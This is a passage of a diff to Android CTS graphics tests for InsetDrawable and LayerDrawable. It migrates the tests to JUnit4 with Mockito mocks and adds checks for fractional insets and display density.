-        assertTrue(insetDrawable.setVisible(false, true)); /* changed */
-        assertFalse(insetDrawable.setVisible(false, true)); /* unchanged */
+        assertFalse(mInsetDrawable.setVisible(true, true)); /* unchanged */
+        assertTrue(mInsetDrawable.setVisible(false, true)); /* changed */
+        assertFalse(mInsetDrawable.setVisible(false, true)); /* unchanged */
     }
 
+    @Test
     public void testSetAlpha() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
+        mInsetDrawable.setAlpha(1);
+        mInsetDrawable.setAlpha(-1);
 
-        insetDrawable.setAlpha(1);
-        insetDrawable.setAlpha(-1);
-
-        insetDrawable.setAlpha(0);
-        insetDrawable.setAlpha(Integer.MAX_VALUE);
-        insetDrawable.setAlpha(Integer.MIN_VALUE);
+        mInsetDrawable.setAlpha(0);
+        mInsetDrawable.setAlpha(Integer.MAX_VALUE);
+        mInsetDrawable.setAlpha(Integer.MIN_VALUE);
     }
 
+    @Test
     public void testSetColorFilter() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-
         ColorFilter cf = new ColorFilter();
-        insetDrawable.setColorFilter(cf);
+        mInsetDrawable.setColorFilter(cf);
 
         // input null as param
-        insetDrawable.setColorFilter(null);
+        mInsetDrawable.setColorFilter(null);
         // expected, no Exception thrown out, test success
     }
 
+    @Test
     public void testGetOpacity() {
-        Drawable d = mContext.getDrawable(R.drawable.testimage);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-        insetDrawable.setAlpha(255);
-        assertEquals(PixelFormat.OPAQUE, insetDrawable.getOpacity());
+        mInsetDrawable.setAlpha(255);
+        assertEquals(PixelFormat.OPAQUE, mInsetDrawable.getOpacity());
 
-        insetDrawable.setAlpha(100);
-        assertEquals(PixelFormat.TRANSLUCENT, insetDrawable.getOpacity());
+        mInsetDrawable.setAlpha(100);
+        assertEquals(PixelFormat.TRANSLUCENT, mInsetDrawable.getOpacity());
     }
 
+    @Test
     public void testIsStateful() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-        assertFalse(insetDrawable.isStateful());
+        assertFalse(mInsetDrawable.isStateful());
     }
 
+    @Test
     public void testOnStateChange() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        MockInsetDrawable insetDrawable = new MockInsetDrawable(d, 10);
-        assertEquals("initial child state is empty", d.getState(), StateSet.WILD_CARD);
+        MockInsetDrawable insetDrawable = new MockInsetDrawable(mPassDrawable, 10);
+        assertEquals("initial child state is empty", mPassDrawable.getState(), StateSet.WILD_CARD);
 
         int[] state = new int[] {1, 2, 3};
         assertFalse("child did not change", insetDrawable.onStateChange(state));
-        assertEquals("child state did not change", d.getState(), StateSet.WILD_CARD);
+        assertEquals("child state did not change", mPassDrawable.getState(), StateSet.WILD_CARD);
 
-        d = mContext.getDrawable(R.drawable.statelistdrawable);
-        insetDrawable = new MockInsetDrawable(d, 10);
-        assertEquals("initial child state is empty", d.getState(), StateSet.WILD_CARD);
+        mPassDrawable = mContext.getDrawable(R.drawable.statelistdrawable);
+        insetDrawable = new MockInsetDrawable(mPassDrawable, 10);
+        assertEquals("initial child state is empty", mPassDrawable.getState(), StateSet.WILD_CARD);
         insetDrawable.onStateChange(state);
-        assertTrue("child state changed", Arrays.equals(state, d.getState()));
+        assertTrue("child state changed", Arrays.equals(state, mPassDrawable.getState()));
 
         // input null as param
         insetDrawable.onStateChange(null);
         // expected, no Exception thrown out, test success
     }
 
-    public void testOnBoundsChange() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        MockInsetDrawable insetDrawable = new MockInsetDrawable(d, 5);
+    @Test
+    public void testOnBoundsChange_dimension() {
+        MockInsetDrawable insetDrawable = new MockInsetDrawable(mPassDrawable, 5);
 
-        Rect bounds = d.getBounds();
+        Rect bounds = mPassDrawable.getBounds();
         assertEquals(0, bounds.left);
         assertEquals(0, bounds.top);
         assertEquals(0, bounds.right);
@@ -273,72 +298,124 @@
         assertEquals(5, bounds.top);
         assertEquals(-5, bounds.right);
         assertEquals(-5, bounds.bottom);
-
-        // input null as param
-        try {
-            insetDrawable.onBoundsChange(null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
     }
 
+    @Test
+    public void testOnBoundsChange_fraction() {
+        float inset = .1f;
+        int size = 40;
+        MockInsetDrawable insetDrawable = new MockInsetDrawable(mPassDrawable, 0.1f);
+
+        Rect bounds = mPassDrawable.getBounds();
+        assertEquals(0, bounds.left);
+        assertEquals(0, bounds.top);
+        assertEquals(0, bounds.right);
+        assertEquals(0, bounds.bottom);
+
+        Rect r = new Rect(0, 0, size, size);
+        insetDrawable.onBoundsChange(r);
+
+        assertEquals((int) (size * inset), bounds.left);
+        assertEquals((int) (size * inset), bounds.top);
+        assertEquals(size - (int) (size * inset), bounds.right);
+        assertEquals(size - (int) (size * inset), bounds.bottom);
+    }
+
+    @Test
+    public void testIsBoundsAndIntrinsicSizeInverse() {
+        float inset = .1f;
+
+        // Test that intrinsic Width and Height calculation logic is inverse of the onBoundsChange.
+        MockInsetDrawable insetDrawable = new MockInsetDrawable(mPassDrawable, inset);
+
+        assertEquals((int)(mPassDrawable.getIntrinsicWidth() / (1 - 2 * inset)),
+            insetDrawable.getIntrinsicWidth());
+        assertEquals((int)(mPassDrawable.getIntrinsicHeight() / (1 - 2 * inset)),
+            insetDrawable.getIntrinsicHeight());
+
+        Rect r = new Rect(0, 0, insetDrawable.getIntrinsicWidth(),
+            insetDrawable.getIntrinsicHeight());
+        insetDrawable.onBoundsChange(r);
+        r = mPassDrawable.getBounds();
+
+        assertEquals((int)(insetDrawable.getIntrinsicWidth() * inset), r.left);
+        assertEquals((int)(insetDrawable.getIntrinsicHeight() * inset), r.top);
+        assertEquals(insetDrawable.getIntrinsicWidth()
+            - (int)((inset) * insetDrawable.getIntrinsicWidth()), r.right);
+        assertEquals(insetDrawable.getIntrinsicHeight()
+            - (int)((inset) * insetDrawable.getIntrinsicHeight()), r.bottom);
+
+        // Verify inverse!!
+        assertEquals(r.width(), mPassDrawable.getIntrinsicWidth(), 1);
+        assertEquals(r.height(), mPassDrawable.getIntrinsicHeight(), 1);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testOnBoundsChangeNull() {
+        MockInsetDrawable insetDrawable = new MockInsetDrawable(mPassDrawable, 5);
+
+        insetDrawable.onBoundsChange(null);
+    }
+
+    @Test
     public void testGetIntrinsicWidth() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
+        int expected = mPassDrawable.getIntrinsicWidth();
+        assertEquals(expected, mInsetDrawable.getIntrinsicWidth());
 
-        int expected = d.getIntrinsicWidth();
-        assertEquals(expected, insetDrawable.getIntrinsicWidth());
+        mPassDrawable = mContext.getDrawable(R.drawable.scenery);
+        mInsetDrawable = new InsetDrawable(mPassDrawable, 0);
 
-        d = mContext.getDrawable(R.drawable.scenery);
-        insetDrawable = new InsetDrawable(d, 0);
+        expected = mPassDrawable.getIntrinsicWidth();
+        assertEquals(expected, mInsetDrawable.getIntrinsicWidth());
 
-        expected = d.getIntrinsicWidth();
-        assertEquals(expected, insetDrawable.getIntrinsicWidth());
+        mPassDrawable = mContext.getDrawable(R.drawable.scenery);
+        mInsetDrawable = new InsetDrawable(mPassDrawable, 20);
 
-        d = mContext.getDrawable(R.drawable.scenery);
-        insetDrawable = new InsetDrawable(d, 20);
+        expected = mPassDrawable.getIntrinsicWidth() + 40;
+        assertEquals(expected, mInsetDrawable.getIntrinsicWidth());
 
-        expected = d.getIntrinsicWidth() + 40;
-        assertEquals(expected, insetDrawable.getIntrinsicWidth());
-
-        d = mContext.getDrawable(R.drawable.inset_color);
+        mPassDrawable = mContext.getDrawable(R.drawable.inset_color);
         expected = -1;
-        assertEquals(expected, d.getIntrinsicWidth());
+        assertEquals(expected, mPassDrawable.getIntrinsicWidth());
+
+        mPassDrawable = mContext.getDrawable(R.drawable.inset_color_fraction);
+        expected = (int)(mPassDrawable.getIntrinsicWidth() * (1.4f));
+        assertEquals(expected, mPassDrawable.getIntrinsicWidth());
     }
 
+    @Test
     public void testGetIntrinsicHeight() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
+        int expected = mPassDrawable.getIntrinsicHeight();
+        assertEquals(expected, mInsetDrawable.getIntrinsicHeight());
 
-        int expected = d.getIntrinsicHeight();
-        assertEquals(expected, insetDrawable.getIntrinsicHeight());
+        mPassDrawable = mContext.getDrawable(R.drawable.scenery);
+        mInsetDrawable = new InsetDrawable(mPassDrawable, 0);
 
-        d = mContext.getDrawable(R.drawable.scenery);
-        insetDrawable = new InsetDrawable(d, 0);
+        expected = mPassDrawable.getIntrinsicHeight();
+        assertEquals(expected, mInsetDrawable.getIntrinsicHeight());
 
-        expected = d.getIntrinsicHeight();
-        assertEquals(expected, insetDrawable.getIntrinsicHeight());
+        mPassDrawable = mContext.getDrawable(R.drawable.scenery);
+        mInsetDrawable = new InsetDrawable(mPassDrawable, 20);
 
-        d = mContext.getDrawable(R.drawable.scenery);
-        insetDrawable = new InsetDrawable(d, 20);
+        expected = mPassDrawable.getIntrinsicHeight() + 40;
+        assertEquals(expected, mInsetDrawable.getIntrinsicHeight());
 
-        expected = d.getIntrinsicHeight() + 40;
-        assertEquals(expected, insetDrawable.getIntrinsicHeight());
-
-        d = mContext.getDrawable(R.drawable.inset_color);
+        mPassDrawable = mContext.getDrawable(R.drawable.inset_color);
         expected = -1;
-        assertEquals(expected, d.getIntrinsicHeight());
+        assertEquals(expected, mPassDrawable.getIntrinsicHeight());
+
+        mPassDrawable = mContext.getDrawable(R.drawable.inset_color_fraction);
+        expected = (int)(mPassDrawable.getIntrinsicHeight() * (1.4f));
+        assertEquals(expected, mPassDrawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testGetConstantState() {
-        Drawable d = mContext.getDrawable(R.drawable.pass);
-        InsetDrawable insetDrawable = new InsetDrawable(d, 0);
-
-        ConstantState constantState = insetDrawable.getConstantState();
+        ConstantState constantState = mInsetDrawable.getConstantState();
         assertNotNull(constantState);
     }
 
+    @Test
     public void testMutate() {
         // Obtain the first instance, then mutate and modify a property held by
         // constant state. If mutate() works correctly, the property should not
@@ -358,17 +435,31 @@
     }
 
 
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
-        final Resources res = getContext().getResources();
+        final Resources res = mContext.getResources();
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
-            testPreloadDensityInner(res, densityDpi);
+            DrawableTestUtils.setResourcesDensity(res, densityDpi);
+            verifyPreloadDensityInner(res, densityDpi);
         } finally {
             DrawableTestUtils.setResourcesDensity(res, densityDpi);
         }
     }
 
-    private void testPreloadDensityInner(Resources res, int densityDpi)
+    @Test
+    public void testPreloadDensity_tvdpi() throws XmlPullParserException, IOException {
+        final Resources res = mContext.getResources();
+        final int densityDpi = res.getConfiguration().densityDpi;
+        try {
+            DrawableTestUtils.setResourcesDensity(res, 213);
+            verifyPreloadDensityInner(res, 213);
+        } finally {
+            DrawableTestUtils.setResourcesDensity(res, densityDpi);
+        }
+    }
+
+    private void verifyPreloadDensityInner(Resources res, int densityDpi)
             throws XmlPullParserException, IOException {
         // Capture initial state at default density.
         final XmlResourceParser parser = DrawableTestUtils.getResourceParser(
@@ -379,12 +470,14 @@
         final int origInsetHoriz = preloadedDrawable.getIntrinsicWidth()
                 - preloadedDrawable.getDrawable().getIntrinsicWidth();
 
-        // Set density to half of original. Unlike offsets, which are
+        // Set density to approximately half of original. Unlike offsets, which are
         // truncated, dimensions are rounded to the nearest pixel.
         DrawableTestUtils.setResourcesDensity(res, densityDpi / 2);
         final InsetDrawable halfDrawable =
                 (InsetDrawable) preloadedConstantState.newDrawable(res);
-        assertEquals(Math.round(origInsetHoriz / 2f), halfDrawable.getIntrinsicWidth()
+        // NOTE: densityDpi may not be an even number, so account for *actual* scaling in asserts
+        final float approxHalf = (float)(densityDpi / 2) / densityDpi;
+        assertEquals(Math.round(origInsetHoriz * approxHalf), halfDrawable.getIntrinsicWidth()
                 - halfDrawable.getDrawable().getIntrinsicWidth());
 
         // Set density to double original.
@@ -404,14 +497,20 @@
         // Ensure theme density is applied correctly.
         final Theme t = res.newTheme();
         halfDrawable.applyTheme(t);
-        assertEquals(origInsetHoriz, halfDrawable.getIntrinsicWidth()
-                - halfDrawable.getDrawable().getIntrinsicWidth());
+        float approxDouble = 1 / approxHalf;
+        // Reproduce imprecise truncated scale down, and back up. Note that we don't round.
+        assertEquals((int)(approxDouble * ((int)(origInsetHoriz * approxHalf))),
+                halfDrawable.getIntrinsicWidth() - halfDrawable.getDrawable().getIntrinsicWidth());
         doubleDrawable.applyTheme(t);
         assertEquals(origInsetHoriz, doubleDrawable.getIntrinsicWidth()
                 - doubleDrawable.getDrawable().getIntrinsicWidth());
     }
 
     private class MockInsetDrawable extends InsetDrawable {
+        public MockInsetDrawable(Drawable drawable, float inset) {
+            super(drawable, inset);
+        }
+
         public MockInsetDrawable(Drawable drawable, int inset) {
             super(drawable, inset);
         }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
index d180261..4331aba 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
@@ -16,15 +16,39 @@
 
 package android.graphics.drawable.cts;
 
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyBoolean;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doNothing;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
+import android.content.Context;
+import android.content.res.ColorStateList;
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
+import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorFilter;
 import android.graphics.PixelFormat;
+import android.graphics.PorterDuff;
 import android.graphics.Rect;
 import android.graphics.cts.R;
 import android.graphics.drawable.BitmapDrawable;
@@ -33,41 +57,61 @@
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.GradientDrawable;
 import android.graphics.drawable.LayerDrawable;
+import android.graphics.drawable.RippleDrawable;
 import android.graphics.drawable.RotateDrawable;
 import android.graphics.drawable.ShapeDrawable;
 import android.graphics.drawable.StateListDrawable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.Xml;
 import android.view.Gravity;
 import android.view.View;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-public class LayerDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LayerDrawableTest {
+    private Context mContext;
+    private ColorDrawable mColorDrawable;
+    private BitmapDrawable mBitmapDrawable;
 
-    @SuppressWarnings("deprecation")
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        Resources resources = mContext.getResources();
+        mColorDrawable = new ColorDrawable(Color.BLUE);
+        mBitmapDrawable = new BitmapDrawable(resources,
+                BitmapFactory.decodeResource(resources, R.drawable.icon_blue));
+    }
+
+    @Test
     public void testConstructor() {
-        Drawable bitmapDrawable = new BitmapDrawable();
-        Drawable colorDrawable  = new ColorDrawable(Color.BLUE);
-        Drawable[] array = new Drawable[] { bitmapDrawable, colorDrawable };
+        Drawable[] array = new Drawable[]{mBitmapDrawable, mColorDrawable};
         LayerDrawable layerDrawable = new LayerDrawable(array);
         assertEquals(array.length, layerDrawable.getNumberOfLayers());
-        assertSame(bitmapDrawable, layerDrawable.getDrawable(0));
-        assertSame(colorDrawable, layerDrawable.getDrawable(1));
+        assertSame(mBitmapDrawable, layerDrawable.getDrawable(0));
+        assertSame(mColorDrawable, layerDrawable.getDrawable(1));
 
         array = new Drawable[0];
         layerDrawable = new LayerDrawable(array);
         assertEquals(0, layerDrawable.getNumberOfLayers());
-
-        try {
-            new LayerDrawable(null);
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorNull() {
+        new LayerDrawable(null);
+    }
+
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         Drawable[] array = new Drawable[0];
         LayerDrawable layerDrawable = new LayerDrawable(array);
@@ -122,33 +166,31 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testFindDrawableByLayerId() {
-        Drawable bitmapDrawable = new BitmapDrawable();
-        Drawable colorDrawable  = new ColorDrawable(Color.BLUE);
-        Drawable[] array = new Drawable[] { bitmapDrawable, colorDrawable };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setId(0, 10);
         layerDrawable.setId(1, 20);
-        assertSame(bitmapDrawable, layerDrawable.findDrawableByLayerId(10));
-        assertSame(colorDrawable, layerDrawable.findDrawableByLayerId(20));
+        assertSame(mBitmapDrawable, layerDrawable.findDrawableByLayerId(10));
+        assertSame(mColorDrawable, layerDrawable.findDrawableByLayerId(20));
         assertNull(layerDrawable.findDrawableByLayerId(30));
 
         layerDrawable.setId(0, Integer.MIN_VALUE);
         layerDrawable.setId(1, Integer.MAX_VALUE);
-        assertSame(bitmapDrawable, layerDrawable.findDrawableByLayerId(Integer.MIN_VALUE));
-        assertSame(colorDrawable, layerDrawable.findDrawableByLayerId(Integer.MAX_VALUE));
+        assertSame(mBitmapDrawable, layerDrawable.findDrawableByLayerId(Integer.MIN_VALUE));
+        assertSame(mColorDrawable, layerDrawable.findDrawableByLayerId(Integer.MAX_VALUE));
 
         layerDrawable.setId(0, 10);
         layerDrawable.setId(1, 10);
-        assertSame(colorDrawable, layerDrawable.findDrawableByLayerId(10));
+        assertSame(mColorDrawable, layerDrawable.findDrawableByLayerId(10));
         assertNull(layerDrawable.findDrawableByLayerId(30));
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testAccessId() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable(), new ColorDrawable(Color.BLUE) };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         layerDrawable.setId(0, 10);
@@ -160,35 +202,39 @@
         layerDrawable.setId(1, Integer.MAX_VALUE);
         assertEquals(Integer.MIN_VALUE, layerDrawable.getId(0));
         assertEquals(Integer.MAX_VALUE, layerDrawable.getId(1));
-
-        try {
-            layerDrawable.setId(-1, 20);
-            fail("Should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            layerDrawable.setId(layerDrawable.getNumberOfLayers(), 20);
-            fail("Should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            layerDrawable.getId(-1);
-            fail("Should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            layerDrawable.getId(layerDrawable.getNumberOfLayers());
-            fail("Should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testSetIdIndexTooLow() {
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
+        LayerDrawable layerDrawable = new LayerDrawable(array);
+        layerDrawable.setId(-1, 20);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testSetIdIndexTooHigh() {
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
+        LayerDrawable layerDrawable = new LayerDrawable(array);
+        layerDrawable.setId(layerDrawable.getNumberOfLayers(), 20);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetIdIndexTooLow() {
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
+        LayerDrawable layerDrawable = new LayerDrawable(array);
+        layerDrawable.getId(-1);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetIdIndexTooHigh() {
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
+        LayerDrawable layerDrawable = new LayerDrawable(array);
+        layerDrawable.getId(layerDrawable.getNumberOfLayers());
+    }
+
+    @Test
     public void testGetNumberOfLayers() {
-        Drawable[] array = new Drawable[] { new BitmapDrawable(), new ColorDrawable(Color.BLUE) };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
         assertEquals(2, layerDrawable.getNumberOfLayers());
 
@@ -204,14 +250,12 @@
         assertEquals(0, layerDrawable.getNumberOfLayers());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testAccessDrawable() {
-        Drawable bitmapDrawable = new BitmapDrawable();
-        Drawable colorDrawable  = new ColorDrawable(Color.BLUE);
-        Drawable[] array = new Drawable[] { bitmapDrawable, colorDrawable };
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
-        assertSame(bitmapDrawable, layerDrawable.getDrawable(0));
-        assertSame(colorDrawable, layerDrawable.getDrawable(1));
+        assertSame(mBitmapDrawable, layerDrawable.getDrawable(0));
+        assertSame(mColorDrawable, layerDrawable.getDrawable(1));
 
         layerDrawable.setId(0, 10);
         layerDrawable.setId(1, 20);
@@ -237,7 +281,7 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetDrawableByLayerId() {
         Drawable layer1A  = new ColorDrawable(Color.RED);
         Drawable layer2A  = new ColorDrawable(Color.BLUE);
@@ -258,12 +302,14 @@
                 5000, layerDrawable.findDrawableByLayerId(20).getLevel());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testSetLayerInset() {
-        MockDrawable firstLayer = new MockDrawable();
-        firstLayer.setIntrinsicSize(10, 10);
-        MockDrawable secondLayer = new MockDrawable();
-        secondLayer.setIntrinsicSize(-1, -1);
+        Drawable firstLayer = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(10).when(firstLayer).getIntrinsicWidth();
+        doReturn(10).when(firstLayer).getIntrinsicHeight();
+        Drawable secondLayer = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(-1).when(secondLayer).getIntrinsicWidth();
+        doReturn(-1).when(secondLayer).getIntrinsicHeight();
 
         Drawable[] array = new Drawable[] { firstLayer, secondLayer };
         LayerDrawable layerDrawable = new LayerDrawable(array);
@@ -294,147 +340,97 @@
         }
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testInvalidateDrawable() {
         Drawable[] array = new Drawable[0];
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
-        MockCallback cb = new MockCallback();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         layerDrawable.setCallback(cb);
         layerDrawable.invalidateDrawable(null);
-        assertTrue(cb.hasCalledInvalidate());
+        verify(cb, times(1)).invalidateDrawable(any());
 
-        cb.reset();
+        reset(cb);
         layerDrawable.invalidateDrawable(new BitmapDrawable());
-        assertTrue(cb.hasCalledInvalidate());
+        verify(cb, times(1)).invalidateDrawable(any());
 
-        cb.reset();
+        reset(cb);
         layerDrawable.setCallback(null);
         layerDrawable.invalidateDrawable(null);
-        assertFalse(cb.hasCalledInvalidate());
+        verify(cb, never()).invalidateDrawable(any());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testScheduleDrawable() {
         Drawable[] array = new Drawable[0];
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
-        MockCallback cb = new MockCallback();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         layerDrawable.setCallback(cb);
         layerDrawable.scheduleDrawable(null, null, 0);
-        assertTrue(cb.hasCalledSchedule());
+        verify(cb, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        cb.reset();
-        layerDrawable.scheduleDrawable(new BitmapDrawable(), new Runnable() {
-            @Override
-            public void run() {
-            }
-        }, 1000L);
-        assertTrue(cb.hasCalledSchedule());
+        reset(cb);
+        layerDrawable.scheduleDrawable(mBitmapDrawable, () -> {}, 1000L);
+        verify(cb, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        cb.reset();
+        reset(cb);
         layerDrawable.setCallback(null);
         layerDrawable.scheduleDrawable(null, null, 0);
-        assertFalse(cb.hasCalledSchedule());
+        verify(cb, never()).scheduleDrawable(any(), any(), anyLong());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testUnscheduleDrawable() {
         Drawable[] array = new Drawable[0];
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
-        MockCallback cb = new MockCallback();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         layerDrawable.setCallback(cb);
         layerDrawable.unscheduleDrawable(null, null);
-        assertTrue(cb.hasCalledUnschedule());
+        verify(cb, times(1)).unscheduleDrawable(any(), any());
 
-        cb.reset();
-        layerDrawable.unscheduleDrawable(new BitmapDrawable(), new Runnable() {
-            @Override
-            public void run() {
-            }
-        });
-        assertTrue(cb.hasCalledUnschedule());
+        reset(cb);
+        layerDrawable.unscheduleDrawable(mBitmapDrawable, () -> {});
+        verify(cb, times(1)).unscheduleDrawable(any(), any());
 
-        cb.reset();
+        reset(cb);
         layerDrawable.setCallback(null);
         layerDrawable.unscheduleDrawable(null, null);
-        assertFalse(cb.hasCalledUnschedule());
+        verify(cb, never()).unscheduleDrawable(any(), any());
     }
 
-    private static class MockCallback implements Drawable.Callback {
-        private boolean mCalledInvalidate;
-        private boolean mCalledSchedule;
-        private boolean mCalledUnschedule;
-
-        @Override
-        public void invalidateDrawable(Drawable who) {
-            mCalledInvalidate = true;
-        }
-
-        @Override
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-            mCalledSchedule = true;
-        }
-
-        @Override
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-            mCalledUnschedule = true;
-        }
-
-        public boolean hasCalledInvalidate() {
-            return mCalledInvalidate;
-        }
-
-        public boolean hasCalledSchedule() {
-            return mCalledSchedule;
-        }
-
-        public boolean hasCalledUnschedule() {
-            return mCalledUnschedule;
-        }
-
-        public int getResolvedLayoutDirection(Drawable who) {
-            return 0;
-        }
-
-        public void reset() {
-            mCalledInvalidate = false;
-            mCalledSchedule = false;
-            mCalledUnschedule = false;
-        }
-    }
-
+    @Test
     public void testDraw() {
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.BLUE));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.RED));
         Drawable[] array = new Drawable[] { mockDrawable1, mockDrawable2 };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         // this method will call each child's draw().
         layerDrawable.draw(new Canvas());
-        assertTrue(mockDrawable1.hasCalledDraw());
-        assertTrue(mockDrawable2.hasCalledDraw());
+        verify(mockDrawable1, times(1)).draw(any());
+        verify(mockDrawable2, times(1)).draw(any());
 
-        mockDrawable1.reset();
-        mockDrawable2.reset();
+        reset(mockDrawable1);
+        reset(mockDrawable2);
+        doNothing().when(mockDrawable1).draw(any());
+        doNothing().when(mockDrawable2).draw(any());
         layerDrawable.draw(null);
-        assertTrue(mockDrawable1.hasCalledDraw());
-        assertTrue(mockDrawable2.hasCalledDraw());
+        verify(mockDrawable1, times(1)).draw(any());
+        verify(mockDrawable2, times(1)).draw(any());
     }
 
-    @SuppressWarnings("deprecation")
+    @Test
     public void testGetChangingConfigurations() {
         final int superConfig = 1;
-        final int bitmapDrawableConfig = 2;
+        final int gradientDrawableConfig = 2;
         final int colorDrawableConfig = 4;
-        final int childConfig = bitmapDrawableConfig | colorDrawableConfig;
+        final int childConfig = gradientDrawableConfig | colorDrawableConfig;
 
-        BitmapDrawable bitmapDrawable = new BitmapDrawable();
-        bitmapDrawable.setChangingConfigurations(bitmapDrawableConfig);
-        ColorDrawable colorDrawable = new ColorDrawable(Color.BLUE);
-        colorDrawable.setChangingConfigurations(colorDrawableConfig);
-        Drawable[] array = new Drawable[] { bitmapDrawable, colorDrawable };
+        mBitmapDrawable.setChangingConfigurations(gradientDrawableConfig);
+        mColorDrawable.setChangingConfigurations(colorDrawableConfig);
+        Drawable[] array = new Drawable[] { mBitmapDrawable, mColorDrawable };
         LayerDrawable layerDrawable = new LayerDrawable(array);
 
         assertEquals(childConfig, layerDrawable.getChangingConfigurations());
@@ -443,6 +439,7 @@
         assertEquals(superConfig | childConfig, layerDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testAccessPadding() {
